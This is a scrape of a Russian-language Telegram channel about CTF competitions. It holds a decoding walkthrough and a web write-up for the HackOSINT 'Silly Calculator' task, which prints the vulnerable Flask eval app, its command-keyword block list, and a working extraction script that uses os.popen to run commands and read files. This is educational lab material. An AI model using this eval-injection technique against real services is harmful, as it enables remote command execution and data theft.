Райтапы по CTF{2025}
2.83K subscribers
215 photos
25 videos
87 files
393 links
☺️ Уютное сообщество для публикации райтапов с разных CTF соревнований и платформ

💬 Наш ламповый чатик: @writeup_chat

✍️ По любому вопросу можно писать мне: @freenameruuuu

Таски решать тут: @writeup_ctf_bot
Download Telegram
Когда нашел всё:
Слитые пароли
Все никнеймы
Все айди
Админки
Почтовые клиенты
Мертвого слона
Обошёл все проверки на брут

Но не флаг.
Еще немного и я с Котофеем в доле
🔥4
Потихоньку решаем задачки!

Могу сказать, что CTF крайне приятный. Организаторы подошли к таскам творчески, чувствуется атмосфера Just for Fun. Есть маленькие недочётики, но куда без них, согласитесь?

Надеюсь, что разбор тасков обязательно будет, может даже с видео!

Обязательно дам развернутую и правильную обратную связь по окончанию мероприятия. Если у вас есть что сказать, обязательно пишите. Все будут услышаны!
11👍1🔥1😴1💊1
Forwarded from Сашка Котофей
Ахахаха, глупый осинтер!!!! Я неуловоим!!!!!!
я устал, я ухожу
35 из 323
👍61🔥1
Что по бонусы, бандиты?
У нас наш дорогой сокомандник @Max_RSC в соло сюда дошел!

26 из 275

UPD: 23!
9🔥1
This media is not supported in your browser
VIEW IN TELEGRAM
😁1
Это было великолепно
Хочу сказать большое спасибо всем, кто принимал участие. Организаторы были всегда на связи. Было много фана. Я просто в восторге
👍6🔥21
Media is too big
VIEW IN TELEGRAM
Расширенная режиссерская версия
Всех еще раз с окончанием этого прекрасного мероприятия!
Идите спать
9🔥5
Завтра начну публиковать райтапы бонусного трека HackOSINT!

Лайк если ждёшь 😇
Please open Telegram to view this post
VIEW IN TELEGRAM
👍13💊31
#crypto

HackOSINT
Бонусный трек


Билибизяка от @Max_RSC
Ссылка на задание

Сомневаюсь, что у кого-нибудь возникли трудности с первым этапом — это простейшее декодирование из binary. Инструмент Кибершеф, который для решения этого таска рекомендовали сами организаторы, автоматически определяет данную кодировку и любезно предлагает декодировать текст. Насколько я знаю, у большинства возникли трудности именно со вторым этапом.

Итак, после преобразования из binary мы получили непонятные 24 числа. Здесь надо применить рецепт From Float. Обратимся к документации Кибершефа и узнаем, какое преобразование производит этот рецепт:

Convert from IEEE754 Floating Point Numbers


IEEE754 — это стандарт, описывающий формат представления чисел с плавающей точкой. Используется, например, в компиляторах различных языков программирования.

Применяем рецепт From Float. Результат, который мы получили, не очень воодушевляет, но мы видим, что Кибершеф сразу подсказывает нам следующее преобразование: надо применить рецепт Gunzip. Делаем это и получаем строку в hex-нотации, которую Кибершеф снова предлагает нам декодировать, поначалу применив рецепт From Hex, а затем Url Decode. Так мы приходим к финальной строке, которая представляет собой стимовский урл:

иди решай задачу, не жульничай!

Идем по ссылке и находим флаг в имени юзера.

Кстати, кому-нибудь интересно, как выполнить преобразование From Float средствами Python? Если интересно, напишите об этом в комментариях — расскажу.

#HackOSINT2024
11🔥3👍2
#WEB
HackOSINT
Задание "Калькилятор" от
t.me/the_tigor
Ссылка на задание

Пробуем запихнуть что-нибудь эдакое и видим в devtools браузера заголовок Debug, в котором лежит регулярка !~(^(-\d|\d).*\d$|^\d$)

Пробуем 0+int("1")+0, получаем 1.0, похоже там python eval, вполне ожидаемо, остается придумать как это эксплуатировать

Доставать результаты будем так 0+int.from_bytes("str".encode(),'big')+0, обратно конвертируем беря число и (7566450).to_bytes(6, 'big'). Если брать больше 6 байт, получается запись в scientific notation, можно конечно упаковать компактнее, но и так сойдет

Пробуем пропихнуть __import__("os").popen, но не проходит, выясняем что дело в __. Но как быть? Оказывается import os написали уже за нас и можно дернуть os.popen("ls")

Узнаем что флаг валяется рядом и вытаскиваем его по частям, пропихивая свой пейлоад между суммой нулей и конвертируя в число куски по 6 байтов

Флаг ищи сам, хитрюшка!

Заодно вытащили app.py но там ничего интересного. Забанены не только __, но и r'.*?([sS][yY][sS][tT][eE][mM]|[sS][hH]|[rR][mM]|[eE][xX][eE][cC]|__).*?' Почему автор таска не юзал re.I вопрос открытый)


from flask import Flask, render_template_string, request, Response
import re
import os

app = Flask(__name__)

html = '''<!DOCTYPE html>
<html>
<head>
<title>Silly Calculator</title>
<style>
body {
font-family: Arial, sans-serif;
display: flex;
text-align: center;
justify-content: center;
align-items: center;
height: 100vh;
margin: 0;
flex-direction: column;
background-color: lightblue; /* Глупый цвет фона */
}
h1 {
font-size: 5em;
}
input {
width: 200px;
height: 30px;
font-size: 1.5em;
}
</style>
</head>
<body>

<h1>Silly Calculator</h1>
<div>
<form method="GET">
<input style="width:10em;margin:.5em" type="text" name="statement">
<input value="=" style="width: 2em; margin:.5em" type="submit">
</form>
<h2>%s</h2>
</div>

</body>
</html>'''

@app.route("/", methods=['GET'])
def hello_world():
statement = request.args.get('statement')
if statement:
if re.match(r'.*?([sS][yY][sS][tT][eE][mM]|[sS][hH]|[rR][mM]|[eE][xX][eE][cC]|__).*?', statement):
answer = 'invalid input'
debug = 'Input Filtered'
resp = Response(html % answer)
resp.headers["Debug"] = debug
return resp
elif not re.match(r'(^(-\d|\d).*\d$|^\d$)', statement):
answer = 'invalid input'
debug = '!~(^(-\d|\d).*\d$|^\d$)'
resp = Response(html % answer)
resp.headers["Debug"] = debug
return resp
else:
try:
answer = eval(statement)
answer = float(answer)
resp = Response(html % answer)
resp.headers["Debug"] = answer
return resp
except Exception as e:
answer = 'invalid input'
debug = e
resp = Response(html % answer)
resp.headers["Debug"] = debug
return resp
else:
resp = Response(html % '')
return resp

ifdebug = '!== '__main__':
app.run(host='127.0.0.1', port=5000)
pass



import requests
from bs4 import BeautifulSoup
from urllib.parse import quote
import time


def exec(command, count=1024):
for i in range(count):
time.sleep(1)

statement = f"0+int.from_bytes({command}[{str(i*6)}:{str(i*6+6)}],'big')+0"
url = f'http://91.200.84.50/?statement={quote(statement)}'
req = requests.get(url)

soup = BeautifulSoup(req.text)
data = soup.find('h2').text
num = int(data.split(".")[0])

if num == 0:
return

print(num.to_bytes(6, 'big').decode('utf-8'), end="")


# exec("open('/start.sh', 'rb').read()")
# exec("os.popen('ls /').read().encode()")
# exec("os.popen('touch t').read().encode()")

#HackOSINT2024
5
Завтра будет много райтапов, а пока разыграю значок за лучший райтапчик по HackOSINT!

Ну и немножко USDT

Присылайте!
🔥63🥰1😍1
@Schwarz_Osint_contact @CyberFazaN, вы в курсе, что это был один из лучших CTF BEST EVER?

Лайк если согласен
23
This media is not supported in your browser
VIEW IN TELEGRAM
Привет мои дорогие кибер-котлетки

Сегодня был очень жесткий и тяжелый день как морально, так и физически.

Не успел сегодня опубликовать. Завтра исправлюсь, обещаю

Мне прислали множество интересных отчетов. Нужно их чуть обработать, чтобы никакого читерства и флажок вы добывали сами!

Всем хорошей пятницы!
👍8